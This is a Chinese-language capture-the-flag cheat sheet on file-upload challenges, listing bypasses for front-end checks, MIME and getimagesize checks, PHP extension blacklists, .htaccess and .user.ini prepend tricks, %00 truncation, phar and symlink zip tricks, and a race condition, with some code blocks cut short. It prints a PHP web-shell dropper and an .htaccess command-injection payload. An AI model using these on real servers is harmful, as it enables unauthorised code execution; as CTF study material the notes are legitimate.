upload常见考题类型
前端检测
屏蔽 js 脚本,或者用 python 直接上传
python 上传模版
import requests |
或者按它的格式上传,在抓包时修改文件后缀
检测 MIME_TYPE
修改 Content-Type
jpg/png/gif: image/jpeg(png/gif)
zip: application/zip
在文件开头加 GIF89a 可绕过 getimagesize()
php 一句话
一般一句话 |
黑名单绕过
php 后缀绕过
pht,phpt,phps,phtml,php1,php2,php3,php4,php5,php7 都能解释为 php
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
在上传文件的name参数后加url解码后的\x0A之后访问xxx.php%0A即可。
.htaccess
两种方法
替换后缀
AddType application/x-httpd-php .jpg将 jpg 文件当作 php 文件解析
SetHandler application/x-httpd-php将当前所有文件当作 php 文件解析
先上传.htaccess 提交
再上传 shell.jpg,直接访问 shell.jpg,服务器会识别为 php 文件直接在开头/结尾写 php 文件,在适用于当前页面存在 php 文件
auto_prepend_file=a.jpg //在页面顶部加载文件
auto_append_file=a.jpg //在页面底部加载文件
url 传参?content=php_value+auto_prepend_fi\%0Ale+.htaccess%0A%23<?=(`ls+/`);?>%0A%23\如果被过滤在过滤词中间加%0A 使用换行绕过
上传文件直接写
php_value auto_prepend_fi\ |
#是单行注释符号
#\用于注释后面添加的字符
#被过滤可以使用\x00
#define width 1337
#define height 1337
用WEBP格式对getimagesize和exif_imagetype进行绕过
.user.ini
- 如果 index.php 不在当前目录下,.user.ini 不生效
直接在开头/结尾写 php 文件
auto_prepend_file=a.jpg //在页面顶部加载文件
auto_append_file=a.jpg //在页面底部加载文件
在a.jpg末尾写一句话就行
访问url/upload
文件名绕过
%00 绕过
构造类似 a.php%00.jpg,将%00 url 解码
PHP 版本小于 5.3.4 时,利用%00(结束符)来截断文件后缀名,%00 后的字符会被自动删除
在后面加.或/.
php.
有些服务器会直接忽略后面的点,导致绕过黑名单
使用 zip 文件特性
将 shell.php 压缩,修改后缀为 1.jpg,上传
如果存在读取参数?file=,可以使用 phar 读取
phar://./upload/1.jpg/shell.php
过滤不严可以用 file://和 php://filter 伪协议直接尝试读取 flag
CISCN2023-unzip
利用软连接,进行目录穿越,将文件上传到任意目录
cd /var |
上传 exp1.zip,exp2.zip,服务器解压时把 shell.php 解压到/var/www/html。实现 getshell。
文件内容无字母
参考我的 RCE 各种 RCE 绕过
把开头的?>去掉就可以用于文件上传,不要 url 编码
条件竞争
有些上传题允许上传 php 脚本,但会很快删除,我们只用构造一个生成 php 马的 php 文件不停上传这个 php 文件并访问,只要成功执行就能传马。
a.php
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
用 burp intruder,payload 选 null payload 无限,一个上传 a.php,一个读取 a.php。就能传上 shell.php
